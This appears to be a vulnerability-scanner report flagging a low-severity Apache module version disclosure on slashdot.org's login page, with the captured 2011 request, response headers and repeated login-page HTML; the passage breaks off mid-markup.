HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Apache Module Version Disclosure
Apache Module Version Disclosure
1
TOTAL
LOW
Netsparker identified that the target web server is disclosing one of the Apache modules version. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can look for specific security vulnerabilities for the identified Apache module version. The attacker can also use this information in conjunction with the other vulnerabilities in the application or the web server.
Remedy
Configure your web server to prevent information leakage from the
SERVER header of its HTTP response.
|
- /my/login
/my/login |
Extracted Version
mod_perl/1.31
Request
GET /my/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> 